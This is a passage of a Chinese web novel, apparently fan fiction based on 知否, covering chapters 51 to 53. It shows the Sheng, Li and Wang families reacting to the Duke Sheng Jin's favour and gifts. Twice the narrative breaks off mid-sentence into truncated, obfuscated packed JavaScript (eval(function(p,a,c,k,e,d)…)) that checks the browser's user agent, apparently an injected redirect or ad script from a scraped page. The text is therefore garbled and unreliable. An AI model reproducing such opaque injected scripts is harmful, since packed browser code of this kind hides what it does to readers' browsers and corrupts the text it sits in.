朱氏忍不住多看了几眼盛明兰,心里不由得感慨道:“这小姑娘长的也太好了吧,等长大后,五官展开,又是位大美人啊!不过说真的,探花郎孙女的相貌应该也差不到哪去吧,瞧着她这一身装扮,真是精致啊!可见是个受宠的。” 朱氏的打量自然瞒不过盛老太太的法眼,盛老太太也没有什么藏着掖着的想法,她眼含笑意的拍了拍盛明兰,对着朱氏介绍道:“这位是我嫡亲孙女盛明兰。” 盛老太太说完,低着头,满眼慈爱的看着盛明兰,语气柔和,道:“明儿,这是李家大娘子,也是品姐儿的舅母。” 盛明兰小朋友听到自家祖母的话,乖巧的上前恭身行礼,可是她不知道该如何称呼眼前的这位妇人,于是就有了她微微歪着小脑袋瓜,迟迟没有开口的场景。 朱氏见此那还不知道盛明兰是不知道要叫她什么才没开口的,于是她为了打破僵局,赶忙开口,语气中带着些许急促,道:“我便托大点,明姐儿便如品姐儿一般叫我舅母吧。” 盛明兰抬眼看了看盛老太太,盛老太太在盛明兰的目光中微微颔首,于是她便乖巧的叫了声:“舅母,懿安。” 朱氏闻言,双眼眯成一线,语气中满是荣幸的意味,道:“好,好,没想到我还有这等好运气,得国公之女叫一声舅母,好标志的闺女,老太太和国公爷真真是好福气呀,我不能让我这个侄女白叫这一声舅母。” 朱氏说着,便从身边的丫鬟手中接过两个菡萏色的荷包,随即又将两个荷包塞到盛明兰手里,只见那两个荷包珠绣辉煌,镶珍订宝,极其华丽耀眼,不看里头的东西,光这两个荷包就价值不菲了,更别说里头的东西了。 盛明兰小朋友没有随便收别人礼物的习惯,便抬头看了看盛老太太,只见盛老太太笑着脸,微微颔首,于是她乖巧的收下了,还朝朱氏行了行礼,道:“谢谢舅母。” 朱氏瞧着眼前的盛明兰是哪哪都满意,她脸蛋浮现出一丝满不在乎的表情,道:“不用这么客气,都是一家人嘛,这两个荷包啊!一个给明姐儿,另一个给老太太的小孙孙,算是我这个当舅母的给两个侄子侄女的见面礼了。” 盛老太太瞧着盛明兰手中的两个荷包,脸上浮现出一抹笑容,语气中带着些许笑意,道:“让李家大娘子破费了。” 朱氏对着盛老太太满脸笑意,语气中带着些许恭维,道:“正如老太太你说的,一家人,那来的破不破费呢,再说了,我瞧着明姐儿很是亲近,自然想将好东西给她。” 李氏在一旁给朱氏帮腔,道:“大嫂嫂说的是啊!二婶婶真是客气了,一家人那来的破不破费的。”紧接着她、朱氏、盛老太太、盛大老太太开始闲聊起来,从金陵说到扬州,再从内眷说到子女,聊了好一会儿了,突然,盛明兰小朋友跑到了门口大喊道:“爹爹。” 朱氏心里一喜,今天本就是来看盛老太太的,没想到还有意外之喜啊!居然还能见到盛国公。 盛老太太脸上浮现出一抹笑容,对盛大老太太打趣盛瑾,道:“瞧,真正一日不见如隔三秋的人来了啊!” 盛大老太太经过盛品兰那件事情,自然知道盛老太太话中的意思,她语气中满是笑意的附和道:“弟妹说的是啊!” 众人看着两个老太太不明所以,最后还是李氏询问了一旁的丫鬟才得知自家小女儿的事情,心里暗暗道:“还别说,这瑾堂弟和明姐儿当真是一日不见如隔三秋啊!” 朱氏对此没有太在意,她如今正一心看着门口,像是害怕错过什么好东西一样,索性的是大家如她一样都看向房门口,没人发现她的样子,不过这场景真像是演唱会里等待歌手的众人啊! 不一会儿,朱氏便见到一位英俊不凡的男子走进来,弯腰抱起盛明兰,而盛明兰则是双手环抱着盛瑾的脖子,蹭了蹭盛瑾的脸,奶声奶气道:“爹爹。” 盛瑾眼含笑意的摸了摸盛明兰小朋友的鼻子,语气中带着些许宠溺,道:“嗯,爹爹的好女儿。” 此时朱氏才回过神来,暗暗打量着眼前这位盛国公,心里感慨道:“真不愧是陌上公子玉无双啊!盛国公当真当得起无双公子的名号啊!”随即她又看向众人,发现大家都是一脸习以为常的表情,便知道这样的事情再盛家见怪不怪了,心里对盛瑾宠盛明兰的态度有了个清晰的认知。 盛瑾发现了朱氏,心底闪过一丝疑问,但面上不显,他看着盛老太太,语气柔和,道:“母亲,这位夫人是谁呢?” 盛老太太见状,脸上的笑容没有任何变化的介绍道:“瑾儿,这位是你堂嫂嫂娘家的大嫂嫂,近日上门来拜见你大伯母的,你可以叫她李家嫂嫂,对了,我们家明姐儿和安哥儿还得了人家两个荷包呢。” 盛老太太说着,盛明兰将环着盛瑾脖子的手臂松开,配合的举起两只手给盛瑾看,盛瑾便瞧见盛明兰两只手中分别都有一个荷包。 盛瑾看着朱氏淡淡一笑,语气中带着些许温和,道:“多谢李家嫂嫂给明姐儿和安哥儿的礼物了。” 朱氏赶紧起来行礼,语气中带着一丝恭谨,道:“一点小心意,当不得国公爷的谢,说来还是我占了便宜,白得国公爷一声李家嫂嫂了。” 盛瑾看着朱氏有些紧张,想着自己在这里也不方便,于是他便笑着对盛老太太道:“母亲,我先带明儿回去,就不打扰你们聊天了。” 盛老太太瞧出了盛瑾的意思,她语气中带着些许笑意,道:“那你回去吧,这里一群女眷的,你待着也不合适。”而盛瑾听完盛老太太的话,跟众人告辞后,就带着盛明兰回去了。 等盛瑾走了后,朱氏才恢复常态,脸上的笑容十分灿烂,语气中带着些许恭维,道:“老太太当真是好福气啊!有个如此玉树临风的儿子,对了,我还听闻老太太有个六元及第的孙子,恐怕生的更好吧,毕竟当年盛国公夫人的美貌在汴州城可是出了名的。” 盛老太太一听朱氏提起孙子,便来了兴致,满脸笑意,道:“瑾儿给我画过那孩子的样子,轩哥儿他啊!长得像瑾儿多一点,而且也是个孝顺的孩子,不久前还拖人送了几车礼物给我和明姐儿呢。” 朱氏见盛老太太这样,哪里还不明白盛老太太喜欢自己的孙子,于是她便接着盛老太太的话,语气中满是恭维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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盛家的一切纷扰仿佛与盛瑾这个院子中无关,却又是因为盛瑾引起的,不得不说世界上的事情还是很奇妙的,而朱氏回到李家后,就看到了在大厅里面等着她的李家一众人,那待遇就像是恭迎重要人物一样。 朱氏见此场景也顾不得吃饭,直接将在盛家看到的和李氏口中所说的都告诉了李老太爷他们,她说完便站在一旁静静的等待着李老太爷开口。 李老太爷闻言,摸着自己的胡须,沉思了片刻,语气中带着些许羡慕和可惜,道:“看来松哥儿淑姐儿几个很得盛国公喜爱啊!只可惜啊!松哥儿以后是要继承盛家的生意的,至于梧哥儿,看样子那孩子比较喜武,要不然有这样的堂叔在,前途定是不差的,不过习武也是能入仕的,就是武官地位不如文官啊!” 朱氏心里暗暗想道:“可不是,旱的旱死,涝的涝死,自家难以求得的人脉,别人措手可得,真是同人不同命啊!” 李老太太听着李老太爷说的话,突然,她语气中带着些许犹豫,道:“听媳妇这么说,那国公爷的女儿和品兰玩的挺好的,这郁哥儿、都哥儿和品兰的年纪相差不大,要不…” 李老太太还未说完,满厅的人谁不知道她打的什么如意算盘呢,于是李老太爷打断道:“把你那蠢念头收一收,品兰和咱家孙子们不合适,若是淑兰还可以提一提,但是淑兰的年纪相差太大了,再者,我们那两个孙子若是未来能中进士,那也是需要岳家提携的,国公爷不可能对一个侄女比自己的女儿还要好,盛维也不会因为女儿的事情一直麻烦自己的堂弟,而且有这样的堂弟在,你怎么不想着盛维会让国公爷帮他找个好女婿呢,至少国公爷自己找的人,他是十分重视的,也一定会提拔的。” 李老太太听着李老太爷这么说,也就没有再说下去了,毕竟她也不是真的想让自己的孙子娶李氏的女儿。 朱氏在李老太太提出这件事情的时候,心都提到嗓子眼了,生怕李老太爷答应了李老太太这个蠢法子,还好李老太爷是个明白人。 朱氏心里还是不希望自己的儿子娶一位对他毫无助力的妻子,娶李氏的女儿,还不如娶盛家二房那个庶子盛纮的女儿呢,至少盛纮目前已是扬州通判,看样子前途一片光明,未来能提拔提拔自己的儿子,至于盛明兰,朱氏心里还是有些念想的,毕竟盛家二房老太爷就是靠着一张脸娶到了勇毅侯府独女的盛老太太,她觉得自己有个想头也不过分吧,而且瞧今天盛国公对盛明兰的宠爱,看上去是真的宠啊!自家儿子娶了盛明兰,有这么一个国公爷的岳父在,前途可以说是康庄大道啊! 其实也不怪朱氏如此想,毕竟满汴州城都知道,丰国公府有盛瑾在,至少富贵三代,如今再加上一个有出息的盛长轩,再富贵三代也不是不可能。 李老太爷摸着胡子,眼含笑意的看向朱氏,语气中带着些许满意,道:“这次你做的很好,既然盛老太太想要在过年的时候看看郁哥儿和都哥儿,那么我们也不急这一时,等过年时,再带他们上门拜访吧,这样也好,就不会有人说我们是刻意讨好国公爷了。” 朱氏看着李老太爷,语气中满是恭敬,道:“媳妇也是这么认为的,盛老太太也是为了我们好,才这么说的,媳妇晓得好赖,不会多想的。” 李老太爷对朱氏这个儿媳妇还是十分满意,摸着胡须,语气中带着些许赞扬,道:“你是个能干的,这件事情就交给你去办了。”随后李老太爷就让朱氏和李老太太下去了,自己则和自家的儿子在一旁商量着过年那天去盛家拜年时,他要如何做等一些事情。 第 52 章 盛瑾一行人就在宥阳待了一段时间,直到过年前两个月,李氏随着给扬州城盛家礼物的信件也到了王若弗手中,此时的扬州城盛家,从院外就能听见房内传来王若弗拍桌子的声音,一旁的刘妈妈赶忙让丫鬟们都下去。 等丫鬟们都离开后,王若弗再也抑制不住内心的怒火,她一只手紧紧抓着李氏写给她的信件,另一只手大力拍着桌子,咬牙切齿道:“李氏,她这是什么意思嘛,当我没见过好东西嘛,她那个眼皮子浅的商贾人家的庶女…” 王若弗身旁的刘妈妈早在她看信时偷瞄了一眼,自然是知道王若弗说的什么的,于是她急忙打断王若弗的话,语气中满是安抚,道:“大娘子,消消气,什么庶女不庶女的啊!那是大娘子的大嫂嫂,您在这么说下去,被外人听去,那就是不敬兄嫂,有理也说不清的,况且您再说下去,口不择言的说到国公爷身上了,那可就是真的于礼不合了,毕竟国公爷可是主君的亲哥哥啊!要是传到主君耳边,就是咱家王老太太来,那也是您的错啊!” 王若弗听了刘妈妈的话,才没有再说下去,但是心中的怒火还是消不了,刘妈妈轻声的安抚道:“大娘子消消气,大房那位大娘子向来与您有些矛盾,所以故意写信惹您生气的,您要是再气下去,伤的可是您自己啊!这种赔了夫人又折兵的事情,您可不能干啊!” 王若弗闻言,语气中带着些许委屈,道:“我也知道她的用意,可是我就是气啊!为什么要便宜大房啊!我们才是国公爷的亲弟弟弟妹啊!自家弟弟弟妹不亲近,去亲近堂哥哥堂嫂嫂,我看国公爷这是糊涂,那么些好东西,也不知道留给自己的亲侄子侄女,都给了堂侄子堂侄女。” 刘妈妈听着王若弗这语出惊人的话,顿时被吓得不轻,她语气中带着些许惊恐,道:“大娘子快别说了啊!我看是您糊涂了,怎么敢如此说国公爷呢,无论是松哥儿他们,还是咱家哥儿姐儿的,轮起来都要叫国公爷堂叔父伯父的,都算是国公爷的亲侄子侄女,再说了,那些个东西本就是国公爷的,他想给谁,都说得过去,更何况给的是自家侄子侄女,没人敢说什么嘴的,大娘子,再说下去,只会让人觉得您贪图国公爷的东西乃至家产,严重点的还会说您挑拨盛家内部团结。” 刘妈妈心里暗暗补充道:“再说了,那个国公爷有多疼六姑娘,满盛府谁不知道啊!人家大房的姑娘放得下身段,哄的六姑娘开心,那国公爷可不就送礼了,以后这种事情只多不少,谁让我家五姑娘放不下身段呢。” 刘妈妈此时只能尽力开导王若弗,毕竟以后这样的事情只多不少,王若弗不能回回都生气吧,这气大也伤身啊! 王若弗听完刘妈妈的话,努力平复了一下心情,道:“便宜那李氏了,说来也都怪官人,官人要是带着华儿几个去见见国公爷,这好东西也不至于落到李氏手中,还有如儿,她是怎么回事啊!我先前让她去那明姐儿院里和明姐儿玩,然后,让明姐儿带她一同去白家与她亲伯父培养培养感情,若是她按照我说的去做,这东西也不至于便宜了品兰啊!那样,那还轮得到李氏在我跟前耀武扬威啊!” 王若弗一想起李氏在信中写到的那些好东西“蜀锦、极品青玉玉佩、拇指大的粉色珍珠手链、水晶球…”,她摸着自己的胸口,感觉自己的心脏止不住的疼啊! 刘妈妈见王若弗又开始钻牛角尖,语气中带着些许无奈,道:“我的大娘子啊!您计较这么多干嘛,国公爷那身家,又不止有这么些东西,再说了,国公爷都给大房哥儿姐儿见面礼了,没道理,我们这房没有啊!抡起血缘关系,我们这房跟国公爷更近,到时候国公爷回扬州城来,我们再好好的拉进关系也不迟啊!” 刘妈妈为了转移王若弗的注意力,脸上浮现出一丝意味深长的表情,道:“大娘子,您可别忘了,我家大姑娘可是在老太太跟前养大的,这么多年的感情了,老太太肯定会心疼大姑娘的。” 王若弗翻了个白眼道:“心疼有什么用啊!你可别忘了,老太太如今可是有一个嫡亲孙女了,我们家华儿还能比明姐儿更得老太太喜欢嘛。” 刘妈妈对此有些无语,但还是调整心态道:“大娘子,瞧您又说胡话了,什么嫡亲不嫡亲的,我们家主君也是在老太太名下的,抡起来,也是老太太的嫡子啊!看我又被您绕晕了。” 刘妈妈拍了一下自己的脑门,然后,脸上浮现出神秘兮兮的神情,道:“大娘子你可听说过国公夫妇给端淑县主的添妆嘛。” 王若弗语气中带着些许无语,道:“这谁不知道啊!当初满汴州城的人还羡慕这端淑县主有个好哥哥好嫂嫂呢。” 王若弗说的这里,戛然而止,她瞪大双眼看着刘妈妈,语气中带着一丝不确定,道:“你是说添妆嘛。” 刘妈妈见此情景,脸上浮现出一丝微笑,道:“我说的正是添妆,老太太和我们家大姑娘这么多年的感情了,再过几年,等大姑娘出嫁的时候,老太太肯定会给我们家大姑娘添妆的,老太太给了,国公爷不会不知道的,到时候国公爷那里还会差嘛,再说了,老太太当年可是勇毅侯府的独女啊!十里红妆加入盛家的,您真信老太太手里没有东西了嘛,瘦死的骆驼比马大这个道理您还是懂得吧,您可别因为这事疏远了老太太和国公爷啊!” 王若弗闻言,思考了片刻,自觉刘妈妈说的十分有道理,她叹了口气道:“你说了这么多,我又不傻,知道你是为我好的,我只是单纯的生气而已,气如儿那么好的机会给她,居然没把握住。” 王若弗也没想盛老太太将全部的嫁妆留给她的儿女这种美事,毕竟人家现在有亲儿子了,但是能多薅点羊毛还是好的。 刘妈妈想到盛如兰的性格,心里苦笑道:“大娘子啊!你又不是不知道,五姑娘那性子,让她去陪人玩是不能够的,没得到时候惹国公爷生气,得不偿失啊!” 王若弗让刘妈妈下去,一个人独自在房间里思考,但是王若弗不是那么容易想通的人,于是她最后还是一个人在房间里生闷气,一个下午都没出来。 王若弗只感觉自己的怒火无处释放,连饭都不想吃了,这可急坏了刘妈妈,她看着王若弗如此的生气,也没有办法,便找来了盛华兰,让盛华兰去劝劝王若弗。 盛华兰从刘妈妈的讲述中得知王若弗生气的理由,心中掀起一阵无奈啊!她知道自己母亲的性子说好听点是单纯,说难听点就是直肠子,没有其他坏心思,性子吧,说坏又不坏,就是有时候是非不分罢了。 盛华兰随着刘妈妈来到了王若弗的房门,一进房间就看到王若弗独自一人坐在床上生着闷气,她无奈的摇摇头,走过去,坐在床上,看着王若弗,轻声道:“母亲,你这又是做什么呢。” 王若弗看到盛华兰,心里掀起一阵委屈,于是她开始喋喋不休道:“都是你父亲的错,要不然,能让大房的李氏踩在我头上耀武扬威嘛,还有你那好二伯父,明明我们家与他更亲近,为什么送给我们的礼物和大房的不一样,难道那大房的商贾之家比我们这样的官宦人家更好嘛…” 盛华兰见王若弗越说越离谱,忍不住开口打断道:“母亲,您这是在说什么呢,让父亲知道了,又该骂您了,还有维大堂伯父是我们家的亲戚,您怎么能这么说他们家呢,一笔还写不出两个盛字呢。” 王若弗被盛华兰吓到了,一时不知道如何表达,盛华兰看着王若弗这个样子,心里十分无奈,她知道自己的母亲并无恶意,只是被大伯母刺激到了,才如此口无遮拦,对于王若弗和李氏的矛盾,盛华兰也不知道如何调和。 盛华兰平静下来,开口给王若弗分析道:“母亲,对于二伯父而言,我们和维大堂伯父一家并没有任何区别,再加上这些年维大堂伯父对祖母十分尊敬,二伯父本身就对维大堂伯父有好感,如今品兰堂妹更是对明兰亲如姐妹,二伯父自然要回报一下的,这是无可厚非的事情,谁也说不了的,再说了,二伯父并没有正式见过我们几个姐妹兄弟,自然而然也就没有必要给我们准备见面礼,之前那些都是二伯父让明兰带给盛家回礼罢了,母亲何必纠结于此呢。” 王若弗见盛华兰这么说,心里的气也没消多少,她嘴上不服气的嘟囔道:“我只是看不惯李氏耀武扬威的样子,抱怨几句吧了。” 盛华兰看着王若弗这副样子,语气不由得加重,道:“母亲,如今您不能这样了,二伯父看中维大堂伯父一家,您如此抱怨,只会惹人厌烦的,要是让二伯父知道您这么说,会以为您对盛家有意见,对他有意见。” 王若弗听见盛华兰的话,心中顿感一惊,吓得连连摆手,语气急促的反驳道:“没有,我哪里敢对国公爷有意见啊!” 王若弗不傻,之前她对盛老太太有怨言,所以极少来拜访盛老太太,但那也是建立在盛老太太不是盛纮亲生母亲的基础之上的,而且盛老太太也不在乎她对她如何,只要面子上过得去,盛纮便不会说什么了,如今这个盛瑾可不一样啊!他可是盛纮的嫡亲兄长,还是一位位居正一品少师的国公爷,礼法上的长兄如父可不是说说那么简单的,要是真惹盛瑾生气,盛纮绝对不会站在她这边的,尤其是如今她娘家不如盛瑾有实力,再加上这件事情本身就是她不在理,只要不是休妻这样的大事,她娘家是不会站在她身边的,就如同盛纮当年纳林小娘为妾氏一样。 盛华兰看到王若弗这个样子也放下心来,她抓住王若弗的手,轻声细语道:“母亲,二伯父是我们的亲伯父,他不会不对我们好的,只要我们好好的对祖母和明儿、安哥儿,那么二伯父就不会不管我们的,真心换真心,如果我们不对祖母她们好,那么二伯父凭什么,又为什么要对我们好呢。” 盛华兰见王若弗还是一阵后怕的样子,随即又想到了盛老太太,她是打心底里希望自己的母亲与祖母好好相处的,于是她打算给王若弗下一剂猛药。 盛华兰了解王若弗的弱点是自己兄妹几个,于是她沉思了片刻,缓缓开口道:“母亲,就算是为了我们几个,您也要和祖母她们好好相处。” 盛华兰看到王若弗一脸疑惑的样子,语气柔和,道:“母亲,我和如儿未来是要嫁人的,若是低嫁还好说,有娘家撑腰也是不怕的,可是若是高嫁了,你认为谁能给我们撑腰呢,外家嘛,外家有什么理由来给一个外孙女撑腰呢,毕竟我和如儿姓盛不姓王,就算外祖母愿意,舅母表弟表妹们难道就没有一点意见嘛,再说了,外祖母帮你后,姨母那边的表妹们要不要帮呢,不是我说啊!外祖母疼姨母多过你,到时候真帮了姨母什么大麻烦,那么舅母她们一定会怪在你这个挑起者身上的。” 盛华兰说着还不忘在王若弗面前给王若与上眼药,而王若弗则是一脸紧张,底气不足的反驳道:“不会的,不会的,母亲和姐姐会帮我的,她们不会任由这样的事情发生的。” 盛华兰听着王若弗天真的话语,语气中带着些许无奈,道:“母亲,你还真信姨母会帮你啊!她巴不得看你笑话呢,如果姨母真的有心,那为什么她没有帮你出主意对付林小娘呢,再有你想想这么多年了,你和姨母发生矛盾,外祖母站在谁那边呢。” 王若弗听着盛华兰的话,本来是打算反驳的,但是思考良久后,无力的发现这么些年,王老太太一直是站在康姨母那边的,此时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王若弗听完盛华兰的话,心里一片震惊,她沉思了一会儿,便抓住盛华兰的手,眼神坚定,道:“华儿,你的话母亲听进去了,为了你们,母亲也会和老太太好好相处的,你放心,我一定拿老太太当成亲生母亲一样对待。”对于王若弗而言,她的孩子们是最重要的,只要是为了她的孩子们,就算是刀山火海,她也会去闯一闯的。 盛华兰听完王若弗的话,便将心放了下来,母女二人又在房间中互诉心肠了好一会儿后,王若弗就开始让丫鬟们拿饭上来了,而刘妈妈进来看到王若弗正在用饭,心里的担忧也就放下了,随即在心里暗暗道:“还是大姑娘有办法啊!” 等王若弗用完饭,破天荒的让丫鬟小厮准备给宥阳盛家的礼物,这让盛纮震惊了好久,不过对于王若弗的改变,盛纮还是认可的,也就没说什么了,而先前被盛华兰提到的王家此时也得知了盛家出了个国公爷的事情。 王老太太和王大人夫妇正齐聚一堂聊这件事情呢,只见王老太太叹了口气,道:“世事无常啊!你父亲在世时,我与你父亲曾觉得盛纮与盛国公长得有几分相似,没成想盛家与盛国公真有关系,唉,这盛家要起来了啊!三姐儿(王若弗)真是好福气啊!就是二姐儿(王若与)知道了,可有的闹了。” 王大人安慰王老太太,道:“这也怪不得谁啊!当初也是二妹妹亲自选的康家,谁曾想那康海丰尽然是个不中用的,谁又能想到盛家有这番际遇呢。” 王夫人在心里暗笑道:“除了我这个婆婆,谁喜欢那毒妇啊!不过,我是真想看看那毒妇得知此事时的表情有多精彩。” 王夫人对王若与是深恶痛绝,当年她还未嫁入王家时,因着没有姐妹便想着将王家这两个小姑子当成亲生姐妹一般好好相处,可惜这只是她一人的想法,并不代表王若与的想法。 等王夫人嫁进来后才深刻了解到这两个小姑子的秉性,王若弗大大咧咧的没什么心眼,有时候会被王若与当做枪使,但这对于她而言并不算什么,最难对付的是王若与,王若与对她这个大嫂嫂毫无尊敬,先是在王老太太面前说她坏话,让她站着立规矩,后又在未出嫁时插手王大人的房中事,王若与想要给王大人塞几个美妾,好在那时候公爹还在,王大人自己也明些事理拒绝了王若与,她原想着熬到王若与出嫁就结束了,谁曾想王若与竟用不出嫁来要挟她交出她的母亲三步一叩首为她求来的白玉送子观音,她无法对抗,只能咬着牙强颜欢笑的双手奉上,方才让王若与安安分分的出嫁,一想到这里,她就恨不得咬死王若与。 王老太太脸上浮现出一抹苦笑,道:“谁知道呢,如今多了个盛国公,盛家起来了,对我们这些姻亲也是有好处的,我现在只希望二姐儿别犯傻,怂恿三姐儿做什么出格的事情,不然啊!这盛国公可不是盛纮,当年盛国公夫妇能为着端淑县主与顾家差点撕破脸,如今没了盛国公夫人的盛国公就更肆无忌惮了,若是真做出什么危害盛家的事情,我怕盛国公会铁面无私的对我们王家动起手来,那场面可不好收拾了。” 王夫人心里暗暗讽刺道:“你也知道你女儿心思不正啊!那还一个劲的护着她,到底是更疼在身边养着的,句句都是在为那毒妇考虑。” 相较与王夫人,王大人的心思就单纯些了,他一心安慰王老太太,道:“有母亲看着,不会的,到时候母亲多提点提点二妹妹,她知道什么人不能惹,也不会做出什么的,再说了二妹妹常在汴州城,自是知道盛国公的脾气秉性的,也有个底。” 王夫人则是在心里暗暗嘲讽道:“底,她那个毒妇有什么底,就她那胆子,什么不敢做,你们就可劲的惯着吧,早晚她会给你们惹出天大的事情来的,我看到时候你们要怎么办。”此时王家三人各怀心事。 第 53 章 宥阳盛家这边临近过年,阖府喜气洋洋的,盛明兰和盛品兰两位小朋友一起穿着新衣裳,带着盛瑾在宥阳这边找的首饰匠专门为她们打的小铃铛镯子,在盛大老太太的院子里玩耍呢。 盛明兰和盛品兰两个小朋友手上带着的小铃铛,随着二人在院子里跑来跑去的,发出一阵阵清脆的声音,满院子都回荡着“叮,叮,叮”的声音,给院子里增添了一丝欢乐。 盛大老太太、盛老太太、李氏则是在一旁看着两个小朋友玩耍的同时,还不忘吩咐丫鬟们看好她们两人,防止她们受伤。 李氏看着两个孩子在一旁玩的如此开心,满脸笑意,她抬着手,捂了捂嘴,道:“瑾堂弟真是有心了,送这么个精致有趣的玩意儿给这两个小的,瞧她们两人玩得多开心啊!这样子看着真是让人欢喜啊!” 盛大老太太脸上浮现出一抹笑容,语气中带着些许笑意,道:“可不是嘛,我看着这两个孩子玩的如此开心,心里也甚是高兴啊!往常品儿一个人,可没有玩的这么开心过啊!这回她可算是逮着一个可以陪她玩耍的小伙伴了,再加上个会给她们制作有趣东西的堂叔父,可把她开心坏了,也是瑾哥儿有心,要不寻常的大人,谁会想着给孩子们弄这些个玩意儿啊!” 盛老太太满眼慈爱的看着盛明兰和盛品兰,语气中带着些许笑意,道:“你们可别这么说了,我那儿子本就个宠孩子的,要是听到你们这么夸,还不得把孩子宠上天去嘛。” 盛大老太太听到盛老太太这么说盛瑾,眼含笑意,语气中带着些许维护的意味,道:“哪有你这么说孩子的,我瞧着你们家瑾哥儿还是很会教养孩子的,我虽不曾见过宁远侯府顾家那两个孩子和轩哥儿,但从别人口中还是能了解一二的,那三个孩子的教养着实是不错,汴州城那些个大户人家八成都想寻他们做女婿呢,他们又都是在瑾哥儿眼皮子底下长大的,谁能说我们瑾哥儿不会教养孩子呢。” 李氏在一旁点了点头,附和道:“二婶婶,母亲说的是啊!满汴州城谁不知道瑾堂弟教养孩子是一绝呢,那些个高门大户,哪个不想要将女儿嫁给瑾堂弟的儿子和外甥们的,二婶婶放心,瑾堂弟他呀,有分寸着呢,没看到我家品姐儿、梧哥儿和三房的梁哥儿在瑾堂弟身边待了这么多天后,人都变得懂事多了嘛。” 盛老太太脸上的表情没有丝毫变化,语气中带着些许调笑的意味,道:“瞧瞧这才多久啊!你们就护上这小子了啊!弄得我这个亲娘像是不疼他一样。” 盛大老太太看着盛老太太,眼神中带着些许笑意,打趣道:“你哪里不疼瑾哥儿了,我看你啊!比我们任何一个人都要疼他。” 盛老太太闻言,脸上的笑意又浓了几分,不过,她也不回话,只是端起茶杯,喝了一口,就像是默认了盛大老太太的话一样。 此时有个丫鬟突然跑了过来,向盛大老太太和盛老太太、李氏行礼,语气中带着些许恭谨和喘息,道:“大老太太,二老太太,大娘子。” 盛大老太太此时心情不错,她对那个丫鬟冒冒失失的行为没有斥责,只是语气淡然道:“有什么事情嘛,这样急匆匆的,你慢点,不急。” 那个丫鬟见盛大老太太这么说,便站着缓了口气后,她眼神中带着些许惊讶,道:“扬州城的二房大娘子派人送了好多东西过来,说是给我们大房和二老太太、国公爷的年礼。” 李氏顿时惊得连下巴都差点掉下来了,心里不由自主的吐槽道:“这太阳是打西边出来了吗?这王若弗居然会给我们送礼,别是被我的信件刺激过了头,伤到了脑子,傻了吧。” 李氏身旁的盛大老太太和盛老太太也惊了一下,不过,她们都是经历过大风大浪的人了,没一会儿,她们两人便恢复了自己的面部表情。 盛大老太太看着那个丫鬟,脸上浮现出一抹笑容语气略带些许柔和,道:“这是好事情啊!你急什么啊!二房大娘子是不是还派人传话了,你还不快去把人请进来啊!” 说句实在的王若弗这一举动可真是让盛大老太太和盛老太太大吃一惊,毕竟她们心里都清楚王若弗和李氏的矛盾,以及王若弗对大房的态度,所以这王若弗给大房送年礼对于她们而言简直是天方夜谭之事啊! 对此盛家大房的老管家也是表示真是活久见啊!没想到他这辈子居然能看到二房太太给大房送年礼,真真是见识少了啊!于是他便派丫鬟来给老太太们禀告。 盛老太太和王若弗相处这么多年,对于王若弗这个媳妇不说了如指掌,但也是略知一二,按王若弗的个性来说,她可做不出给盛家大房送年礼这样的事情,毕竟她对李氏乃是盛家大房都不太瞧得上,更何况她和李氏关系不咋样的情况下,让她给盛家大房送年礼简直相当于让她给李氏低头,这可比要了她的命还难啊!不过,如今她也是上了年纪的人了,若是原先那般,她或许还要猜猜王若弗的想法,可现在她有了亲儿子和亲孙子,若是真有什么事情,她儿子会帮她顶着的,也就不想想那么多的事情了,既然她唯一的媳妇有这份孝心,自己也就收下了。 过了一会儿,只见一个有些精明的中年男人走进来,一进来就给盛大老太太和盛老太太、李氏行礼,道:“小的刘昆,见过大老太太、老太太、大娘子。” 盛老太太打量了这个男人一眼,脑海中快速寻找这个男人的身影,可惜她回忆了好一会儿,并没有找出这个男人的信息,于是她语气中带着些许疑惑,道:“我怎么从来没有见过你呢,你是谁啊!” 刘昆拍了一下自己的头,语气中满是歉意,道:“是小的该打,忘了介绍自己了,小的是大娘子身边刘妈妈的男人,这次大娘子特地派我来送东西的。” 盛大老太太、盛老太太与李氏都被刘昆滑稽的动作逗笑了,过了一会儿,盛老太太掩去脸上的笑意,语气随和,道:“好了,我知道了,大娘子可有什么话要你告诉我们的吗?” 刘昆见场面气氛被他调和的不错,语气中带着些许恭谨,道:“大娘子只是比较关心老太太您的身体,所以让我来看看,除此之外,还让我替她向两位老太太和大娘子提前拜个年。”说着他就做了一个拜年的动作,把满厅的女眷都给逗乐了。 盛老太太眼含笑意,语气柔和道:“等你回去后,就替我谢谢你家大娘子了,来人给他十两银子,就算是我给他的过年红包了。” 盛老太太身边的丫鬟听到盛老太太的话,便上前递给刘昆十两银子,刘昆接过银子,脸上的笑容又多了几分,他立马又给两位老太太和李氏行礼拜年,而盛大老太太和李氏也先后分别给了他十两和五两银子,这可把他给乐坏了,毕竟刘妈妈的男人刘昆也没有想到,这出个门还能得二十五两银子,他此时的心里乐呵呵的。 没过多久,盛老太太便让刘昆退下去休息了,而李氏从刚才就一直处于一种懵逼的状态,她就算是给刘昆赏银也是下意识随着两位老太太一起给的,此时的她才真正回过神来。 李氏看着盛老太太和盛大老太太,脸上浮现出一抹笑容,语气柔和,道:“真是让弟妹破费了啊!等一下我也备一份礼物送过去,纮堂弟这些年为着我们大房做了不少事情,他的官途少不了银钱打点,哪能让弟妹吃亏啊!” 对于盛家大房和二房的利益关系,李氏也是知道的,盛家大房经商挣钱,盛家二房科举出仕,这是盛维的祖父当年定好的,盛家这样的,说好听点叫做“兄弟互助”,说难听点就是“官商勾结”,不过是有血缘关系作为纽带更牢固些罢了,这些年盛家二房给大房在生意上提供助力,而盛家大房给二房提供物质打点官场,两房互相扶持,没有谁欠谁什么,因此,李氏对于王若弗这次送来的东西,自然是要回礼的,毕竟王若弗的态度都摆出来了,自己也不能充耳不闻吧。 